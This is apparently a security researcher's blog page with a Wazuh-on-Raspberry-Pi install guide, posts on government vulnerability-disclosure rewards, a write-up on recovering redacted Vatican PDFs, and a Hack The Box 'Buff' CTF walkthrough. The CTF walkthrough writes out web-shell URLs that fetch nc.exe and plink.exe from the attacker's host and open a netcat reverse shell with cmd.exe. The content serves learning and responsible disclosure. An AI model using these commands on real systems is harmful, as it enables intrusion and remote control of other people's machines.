Blog

  •

    How to install a Wazuh SIEM server on a Raspberry Pi 4B

    5.00 of 70 votes

    With many security professionals now working remotely from home, some are looking at ways in which they can improve their home environment network and endpoint security. Commercial SIEM solutions are often considered too costly and complicated to deploy, but free lightweight open-source solutions offering minimal overhead such as Wazuh provide a good compromise for those of modest means aiming to mature the security of their home or small business environment.This is my walkthrough on how to install the Wazuh server manager onto a Raspberry Pi 4B as an all-in-one deployment. I noticed there was no clear guidance online on how to go about doing this for a Raspberry Pi 4B, only a significant number of online posts outlining the installation and deployment difficulties people have faced. So here I've decided to document the process I took, tested and validated from start to finish, with clear directions anyone can follow.By following this guide you can run your own open-source SIEM solution on a Raspberry Pi 4B at home. This is great not only for existing security professionals looking to improve the resiliency of their home setup, but also for those new to the information security industry seeking to gain hands-on experience in SIEM deployment, management, and other SIEM/SOC related activities. Getting started To get started, I used a Raspberry Pi 4B with 8GB RAM and a 128GB SanDisk Extreme SD card for storage. Whilst the Raspberry Pi 4B I used for this project was custom built from TurboPi with high-end hardware for this particular purpose, any Raspberry Pi 4B with adequate hardware capable of running Raspbian OS (buster or greater) leveraging the AArch64 64-bit extension of the ARM architecture should be sufficient. Walkthrough Install a Raspberry Pi 64-bit ARM OS First download and install the official Raspberry Pi Imager. Now download the latest Raspi OS ARM64 .zip image from the official repo (make sure it's the latest version). Open the Raspberry Pi Imager application. Select the CHOOSE OS button and in the dropdown list select the Use custom option. Select the Raspi OS ARM64 .zip file you just downloaded. Select the SD storage card to write this to. Proceed with the prompted erasure, formatting, and writing activities to install the OS to your SD card. The last step here is to write an empty text file named 'ssh' (no file extension) to the root of the directory of the SD card. When the device boots and sees the 'ssh' file present, it will automatically enable SSH, which will allow us to remotely access the device command line in a headless state. Identify your Raspberry Pi local IP address For this I use a Kali VM in VirtualBox, but any flavour of Linux distro can acheive the same. As the guest VM is not visible to the host under the default VirtualBox NAT settings, you need to change your VM network settings to bridge the network adapter between your host machine and the guest VM. Once the network adapter is bridged, we need to identify the Raspberry Pi IP address on the network. There are a few ways to do this (such as logging directly into the router), but we can also use an arp command with the -na flag to display the local network address translation tables and pipe the output using grep to pull any MAC addresses that begin with identifiers we're interested in.arp -na | grep -i dc:a6:32 Raspberry Pi MAC addresses always use the same OUI (Organizational Unique Identifier) in their MAC address (b8:27:eb for all Raspberry Pi devices except Raspberry Pi 4B which uses dc:a6:32). Connecting to the Raspberry Pi Now we have the device IP address (in this example mine is assigned 192.168.1.93), we can SSH into it using default credentials ssh pi@192.168.1.93 with the default password raspberry and get started. Change hostname and update First you may wish to change the hostname from raspberry to wazuh (or something else). To do this run the command sudo raspi-config and navigate to System Options > Hostname using the GUI.Type in your desired hostname and hit Enter, then return to the main menu of the GUI and select Update. Once the device has finished updating, navigate to the to Finish button to save your new raspi-config settings.For the hostname change to take effect, reboot the device using the command sudo reboot, then SSH back in using the same credentials ssh pi@192.168.1.93 with the default password raspberry once the reboot is complete. Enable login as root Then if you want to login as root using SSH or WinSCP you need to edit the config of SSHD. Login, and edit the sshd_config file using sudo nano /etc/ssh/sshd_configFind the line containing PermitRootLogin prohibit-passwordEdit this to reflect PermitRootLogin yes Close and save the file, then reboot or restart sshd service using /etc/init.d/ssh restartSet a root password if there isn't one already using sudo passwd rootNow you can login as root (I recommend using a strong password or SSH keys). Now proceed to sudo up using sudo su and continue the next steps as root. Update the Raspberry Pi packages To update the Raspberry Pi, first ensure the VM you're connecting from over SSH into has an Internet connection and then run the command apt update && apt upgrade -y Once the update and upgrade process is complete, pull down the required packages for the next steps using:apt-get install apt-transport-https zip unzip curl gnupg wget libcap2-bin software-properties-common lsb-release -y Install Java 11 echo 'deb http://deb.debian.org/debian stretch-backports main' > /etc/apt/sources.list.d/backports.list apt update -y apt install openjdk-11-jdk -y Install Elasticsearch OSS Fetch the Elasticsearch OSS arm64 installation package:wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-oss-7.10.2-arm64.deb Install the Elasticsearch OSS package:dpkg -i elasticsearch-oss-7.10.2-arm64.deb Install Open Distro for Elasticsearch Download and add the signing keys for the repositories:wget -qO - https://d3g5vo6xdbdb9a.cloudfront.net/GPG-KEY-opendistroforelasticsearch | sudo apt-key add - wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add - Add the repository definitions:echo "deb https://d3g5vo6xdbdb9a.cloudfront.net/apt stable main" | sudo tee -a /etc/apt/sources.list.d/opendistroforelasticsearch.list Update the packages:apt-get update -y Install the Open Distro for Elasticsearch package:apt install opendistroforelasticsearch -y Configure and run Elasticsearch Run the following command to download the configuration file /etc/elasticsearch/elasticsearch.yml:curl -so /etc/elasticsearch/elasticsearch.yml https://packages.wazuh.com/resources/4.2/open-distro/elasticsearch/7.x/elasticsearch_all_in_one.yml Now we need to add users and roles in order to use the Wazuh Kibana properly. Run the following commands to add the Wazuh users and additional roles in Kibana:curl -so /usr/share/elasticsearch/plugins/opendistro_security/securityconfig/roles.yml https://packages.wazuh.com/resources/4.2/open-distro/elasticsearch/roles/roles.ymlcurl -so /usr/share/elasticsearch/plugins/opendistro_security/securityconfig/roles_mapping.yml https://packages.wazuh.com/resources/4.2/open-distro/elasticsearch/roles/roles_mapping.ymlcurl -so /usr/share/elasticsearch/plugins/opendistro_security/securityconfig/internal_users.yml https://packages.wazuh.com/resources/4.2/open-distro/elasticsearch/roles/internal_users.yml Remove the demo certificates:rm /etc/elasticsearch/esnode-key.pem /etc/elasticsearch/esnode.pem /etc/elasticsearch/kirk-key.pem /etc/elasticsearch/kirk.pem /etc/elasticsearch/root-ca.pem -f Download the wazuh-cert-tool.sh:curl -so ~/wazuh-cert-tool.sh https://packages.wazuh.com/resources/4.2/open-distro/tools/certificate-utility/wazuh-cert-tool.shcurl -so ~/instances.yml https://packages.wazuh.com/resources/4.2/open-distro/tools/certificate-utility/instances_aio.yml Run the wazuh-cert-tool.sh to generate the certificates:bash ~/wazuh-cert-tool.sh Move the Elasticsearch certificates to their corresponding location for deployment:mkdir /etc/elasticsearch/certs/mv ~/certs/elasticsearch* /etc/elasticsearch/certs/mv ~/certs/admin* /etc/elasticsearch/certs/cp ~/certs/root-ca* /etc/elasticsearch/certs/ Enable and start the Elasticsearch service:systemctl daemon-reloadsystemctl enable elasticsearchsystemctl start elasticsearch Run the Elasticsearch securityadmin script to load the new certificates information and start the cluster:export ES_JAVA_HOME=/usr/share/elasticsearch/jdk/ && /usr/share/elasticsearch/plugins/opendistro_security/tools/securityadmin.sh -cd /usr/share/elasticsearch/plugins/opendistro_security/securityconfig/ -nhnv -cacert /etc/elasticsearch/certs/root-ca.pem -cert /etc/elasticsearch/certs/admin.pem -key /etc/elasticsearch/certs/admin-key.pem Run the following command to ensure the installation is successful:curl -XGET https://localhost:9200 -u admin:admin -k An example response should look as follows: The Open Distro for Elasticsearch performance analyzer plugin is installed by default and can have a negative impact on system resources. The official Wazuh documentation recommends removing this with the following command /usr/share/elasticsearch/bin/elasticsearch-plugin remove opendistro-performance-analyzer and restarting the Elasticsearch service afterwards. Install and run the Wazuh manager Install the GPG key:curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | apt-key add - Add the repository definition:echo "deb https://packages.wazuh.com/4.x/apt/ stable main" | tee -a /etc/apt/sources.list.d/wazuh.list Update the Wazuh packages:apt-get update -y Install the Wazuh manager package:apt-get install wazuh-manager Enable and start the Wazuh manager service:systemctl daemon-reloadsystemctl enable wazuh-managersystemctl start wazuh-manager Run the following command to check if the Wazuh manager is active:systemctl status wazuh-manager An example response should look as follows: Install and configure Filebeat Add the repository definition:echo "deb https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee -a /etc/apt/sources.list.d/elastic-7.x.list Fetch the Filebeat arm64 installation package:wget https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-oss-7.12.1-arm64.deb Install the Filebeat package:dpkg -i filebeat-oss-7.12.1-arm64.deb Download the pre-configured Filebeat config file used to forward Wazuh alerts to Elasticsearch:curl -so /etc/filebeat/filebeat.yml https://packages.wazuh.com/resources/4.2/open-distro/filebeat/7.x/filebeat_all_in_one.yml Download the alerts template for Elasticsearch:curl -so /etc/filebeat/wazuh-template.json https://raw.githubusercontent.com/wazuh/wazuh/4.2/extensions/elasticsearch/7.x/wazuh-template.jsonchmod go+r /etc/filebeat/wazuh-template.json Download the Wazuh module for Filebeat:curl -s https://packages.wazuh.com/4.x/filebeat/wazuh-filebeat-0.1.tar.gz | tar -xvz -C /usr/share/filebeat/module Copy the Elasticsearch certificates into /etc/filebeat/certs:mkdir /etc/filebeat/certscp ~/certs/root-ca.pem /etc/filebeat/certs/mv ~/certs/filebeat* /etc/filebeat/certs/ Enable and start the Filebeat service:systemctl daemon-reloadsystemctl enable filebeatsystemctl start filebeat To ensure that Filebeat has been successfully installed, run the following command:filebeat test output An example response should look as follows: Install and configure Kibana Install the Kibana package:apt-get install opendistroforelasticsearch-kibana Download the Kibana configuration file:curl -so /etc/kibana/kibana.yml https://packages.wazuh.com/resources/4.2/open-distro/kibana/7.x/kibana_all_in_one.yml Create the /usr/share/kibana/data directory:mkdir /usr/share/kibana/datachown -R kibana:kibana /usr/share/kibana Install the Wazuh Kibana plugin. The installation of the plugin must be done from the Kibana home directory as follows:cd /usr/share/kibanasudo -u kibana /usr/share/kibana/bin/kibana-plugin install https://packages.wazuh.com/4.x/ui/kibana/wazuh_kibana-4.2.5_7.10.2-1.zip Copy the Elasticsearch certificates into the Kibana configuration folder:mkdir /etc/kibana/certscp ~/certs/root-ca.pem /etc/kibana/certs/mv ~/certs/kibana* /etc/kibana/certs/chown kibana:kibana /etc/kibana/certs/* Link Kibana’s socket to privileged port 443:setcap 'cap_net_bind_service=+ep' /usr/share/kibana/node/bin/node Enable and start the Kibana service:systemctl daemon-reloadsystemctl enable kibanasystemctl start kibana Check the Kibana service status to ensure it's running:systemctl status kibana An example response should look as follows: Open the Kibana interface Visit the Raspberry Pi 4B device IP address in your browser (e.g my interface is reachable at https://192.168.1.93). Upon the first access to Kibana, the browser shows a warning message stating that the certificate was not issued by a trusted authority. An exception can be added in the advanced options of the web browser or, for increased security, the root-ca.pem file previously generated can be imported to the certificate manager of the browser. Alternatively, a certificate from a trusted authority can be configured. Login to Kibana using the default user credentials admin with the password admin. For security purposes I recommend these credentials are changed. Change the default passwords To change the default credentials for all users residing in the internal_users.yml file, run the following command:bash wazuh-passwords-tool.sh -a An example response should look as follows: Remember to take note of these credentials or save them into a password manager if you have one. Next we need to also also update the credentials for Filebeat and Kibana (if these were not already covered by the wazuh-passwords-tool.sh script). Open and update the Filebeat configuration file:nano /etc/filebeat/filebeat.yml Change the associated password: value. Make sure you make a record of this, then save and exit. Open and update the Kibana configuration file:nano /etc/kibana/kibana.yml Change the associated elasticsearch.password: value. Make sure you make a record of this, then save and exit. Restart all services for the changes to take effect:systemctl restart wazuh-managersystemctl restart filebeatsystemctl restart kibana Congratulations, you've now installed the Wazuh server manager onto your Raspberry Pi. Now you can install the Wazuh agents on any devices you want to onboard to monitor security related events from within the server manager interface. The Wazuh agent installation guide is relatively simple and can be found here. I hope this tutorial helped.

  •

    I hacked the Ministry of Defence so they sent me this coin

    • General
    • by Jacob Riggs
    • 28-09-2021
    4.96 of 70 votes

    The UK Ministry of Defence (MoD) sent me a VDP challenge coin for my finding and responsible disclosure of a critical (9.6 CVSS) severity vulnerability. Together with the coin was a small thank you note.Thank you! The Ministry of Defence takes the security of our systems seriously. To show our appreciation for all your time and effort, we would like to reward you with a Vulnerability Disclosure hacker coin. This echos a similar response to when I hacked the Dutch government and they sent me a t-shirt.

  •

    How I stumbled over a vulnerability in the Vatican

    5.00 of 73 votes

    This is my write-up and walkthrough for a simple low-complexity but potentially high-impact vulnerability I identified within files hosted on the Vatican web app. This started as me looking for a domain to set up a dedicated BIND9 service on a new DNS server I was building. I was looking for a domain, and for reasons I won't go into here, wanted one for a particular use-case that leveraged the .va top-level domain (TLD). However, I quickly encountered a problem... I couldn't register a .va domain Different countries each have their own country code TLD. Generally, most countries allow for individuals outside of their citizenry to still register domains using their country code TLD. However, the .va TLD is reserved for the State of the Vatican City, is administered by the Internet Office of the Holy See (the Pope), and registrations are not permitted to those outside of the Vatican's administration. Having learned this from a few Google searches, and not knowing much about the Vatican, I decided to do some further research to see if there was any legitimate way around this. Perhaps an application form I could fill out? A higher fee I could pay? Maybe a contact number for the Pope so I could seek his blessing? I looked around the Vatican's official website located at https://vatican.va for some support. In doing so, I stumbled across the https://supportoposta.vatican.va subdomain, which seemed to point to a directory hosting internal user guides in PDF format for webmail configuration. Not exactly what I was looking for, but I was curious why this was publicly accessible. Internal user guides, whilst not always sensitive, can often allow attackers during their recon to learn a lot about the tools and technologies upon which a target organisation relies. I decided to check what information these configuration files contained. Two example pages are included below: Everything was in Italian. I can’t read Italian, and for obvious reasons was reluctant to start uploading text I couldn't understand from internal Vatican government files into a cloud US-based translator (such as Google Translate). Fortunately, the screenshot images were clear and having a background in IT meant I was already familiar with much of the mail-client configuration steps the documentation outlined. But something stood out to me - the blue-box redactions within the screenshots provided seemed too familiar. Why? Because I know these as the same blue boxes MS Word defaults to when selecting to insert rectangular shapes within MS Word documents. This tells me the PDF files hosted on the site were originally created in MS Word and likely exported from MS Word into PDF format. Why is this important? Because exporting MS Word documents to PDF doesn't flatten embedded content layers. Redacting an MS Word document The key to understanding how sensitive data can be embedded in a PDF document is that information hidden or covered in an electronic document, can easily be recovered. The solution is to ensure that sensitive information is not just visually hidden or made illegible, but is actually deleted from the source file. In some documents, deleting sections can cause an undesirable reflow of text and graphics. If document formatting is a critical issue, this document provides some methods for maintaining that formatting. I checked if the redaction layers were removable by simply copying the embedded content back into an MS Word document, then selecting those layers and deleting them. It worked. But there were multiple PDF files with many redactions that I couldn’t translate, so to speed things up I did what I thought cyber Jesus would do. I downloaded everything, used a local OCR (Optical Character Recognition) software to extract all text data from the files, and parsed their output through a translator to generate new editable documents in English. After removing the redactions and reviewing all the user guides properly in English, I identified three to be of potential value to an attacker. Whilst these files are unredacted copies of their originals, I opted to manually blur out any residual data I felt could enable an adversary to identify data subjects. Zimba MFA Config Shared Calendar Config Mail Encryption Config As can be seen within the partially redacted versions of these documents (I manually removed all PII), they expose: 2FA backup code allowing an attacker to generate valid one-time 2FA codes 1024 bit PGP private key PGP private key passphrase for decryption and message signing Internal directory paths for CalDAV configuration Internal email communications Internal calendar schedules Names and email addresses of internal staff   Conclusion I feel it worth noting that this type of oversight, which can amount to sensitive data exposure, remains as prevalent today as it was over a decade ago. Redaction failure episodes are still commonly reported in the media, and this highlights the ongoing tech challenges associated with what traditionally only required a black pen and paper. The key take-away from this, albeit an obvious one, is that humans are naturally fallible and we all make mistakes. The document publisher, where potentially identified, should not be the subject of focus, but rather the adopted redaction practice and process itself. I hope that by documenting this report here it might help raise awareness of this issue and prevent others from making the same mistake in the future. Repeat attempts were made to contact the Vatican regarding this report over the course of three months. They were also served adequate prior notice of this write-up. I will update this blog post should I receive a response.

  •

    I hacked the Dutch government and all I got was this t-shirt

    • General
    • by Jacob Riggs
    • 04-05-2021
    4.99 of 78 votes

    The NCSC-NL (National Cyber Security Centre – Netherlands) sent me a ‘lousy’ t-shirt on behalf of the Dutch government. Together with the t-shirt was a thank you letter.Thank you for bringing a vulnerability to our attention. Together with vulnerability reporters like you we can increase the resilience of Dutch society in the digital domain and better protect our systems and systems of our partners. This was a pleasant response to receive and illustrates a far better approach to engaging with ethical hackers than traditional threats of prosecution. However, there’s been some past controversy within the security community on whether this type of reward disincentivises ethical hacker participation by undermining the value inherent in VDP and bug bounty programs. Some argue that the effort researchers need to invest in helping to find and responsibly report vulnerabilities to government organisations far outweighs the level of compensation value these novelty rewards are worth. My view is that expectations should be managed realistically, and maybe the focus should shift away from pursuing personal gain to instead encouraging wider public sector adoption of better security practices. I’m happy with my t-shirt and appreciate the efforts the NCSC-NL went to. It’s certainly a better response than some of the other governments I’ve reported vulnerabilities to.

  •

    Why I choose to keep my employer information hidden

    4.99 of 92 votes

    The security community widely accepts that participating in social media within a white-hat capacity can naturally bring about undesirable interactions. This is why many security professionals opt to maintain a strict separation between their online activities and their personal lives. The reality is that one can no longer freely participate in social media whilst also remaining independent from the consequences of it. Over the years I’ve had my fair share of online run-ins with skids, anonymous trolls, and even suspect APTs to know that my employment relationship can risk falling into their scope of targeting. Participation in online spaces seems to require a growing degree of caution, which only serves to restrict our behavioural options and limit how freely we’re able to express ourselves. This reality is best evidenced by the often seen common-sense disclaimer “my views are my own”, a proclamation sadly made necessary by the prevalence of ‘woke’ snowflake communities and their associated cancel culture campaigns. Our elected career path is often a life-choice characteristic upon which we are judged, as is our choice of employer. For this reason I've opted to redact my current employer information from my CV and any other online channels.

  •

    [CTF] HTB Buff write-up walkthrough

    4.29 of 161 votes

    This is my write-up and walkthrough for the Buff (10.10.10.198) box user flag. Buff is a Windows machine with multiple CVEs which are relatively easy to identify. I found this box much simpler than some of the others in my recent write-ups and would definitely recommend it to anyone new to CTFs. When commencing this engagement, Buff was listed in HTB (hackthebox) with an easy difficulty rating.   Walkthrough To get started, I spun up a fresh Kali instance and generated my HTB lab keys. I then connected my Kali instance via HTB's OpenVPN configuration file and pinged the target 10.10.10.198 to check if my instance could reach the Buff machine. As always, I opted to add the target machine IP address to my /etc/hosts file. To do this I navigated to the /etc/hosts file. And I added the target IP address and assigned it an identifier label buff Now this was set, I could begin my standard recon. Aligning with my previous write-ups, I used Nmap, which is an open-source network scanner designed to discover hosts, services, and open ports. My objective was to identify what ports might be open on the target machine. I ran Nmap with the flags sudo nmap -sS -sC -sV buff -oN scan These flags told Nmap to do the following: -sS - Instructs Nmap to not complete the three-way handshake so the connection attempt is not logged on the target. -sC - Instructs Nmap to scan with default NSE scripts, which is useful and safe for discovery. -sV - Instructs Nmap to determine the version of any services running on the ports. The Nmap scan results indicated port 8080 was open and running an Apache web server. I visited the IP address in my browser (port 8080). The web server produced a fitness website, so I browsed through the pages. When I landed on the Contact page, I noticed there was no form or information. However, there was information which indicated the site was "Made using Gym Management Software 1.0", signed with the copyright label © Projectworlds.in in the page footer.I decided to search Google to see if I could find a copy of the software version 1.0 online. The first result served a page from exploit-db.com, which indicated this software already contained a known vulnerability and there was a prepackaged payload available to exploit it.This detailed that the software was vulnerable to an Unauthenticated File Upload vulnerability allowing remote attackers to gain Remote Code Execution (RCE) on the host by uploading a maliciously crafted PHP file that bypassed image upload filters. I proceeded to download this exploit. And then deployed it against the target host. I then uploaded a native netcat binary from my Kali instance using cp /usr/share/windows-binaries/nc.exe . I then uploaded a plink binary from my Kali instance using cp /usr/share/windows-binaries/plink.exe . And ran a HTTP server using python -m SimpleHTTPServer to handle directory files. From here I then visited http://buff:8080/upload/kamehameha.php?telepathy=curl -O 10.10.14.6:1337/nc.exe in my browser which used curl to run a configured netcat listener on the host. I then visited http://buff:8080/upload/kamehameha.php?telepathy=curl -O 10.10.14.6:1337/plink.exe in my browser which used curl to enable SSH access. With netcat and plink configured on the host I then proceeded to set up a listener locally, configured using nc -lvvnp 1337 to listen on port 1337 And then visited http://buff:8080/upload/kamehameha.php?telepathy=nc 10.10.14.6:1337 -e cmd.exe in my browser to execute cmd.exe (command prompt) on the host within an interactive shell. My local netcat listener confirmed my reverse shell was successfully established. Using the command dir identified the user flag within the /upload directory. Using type user.txt allowed me to read the file to access the flag. I did also find a copy of the user flag within the C:/Users/shaun/Desktop directory, so I'm unsure if someone copied it to the /upload folder before the box was reset.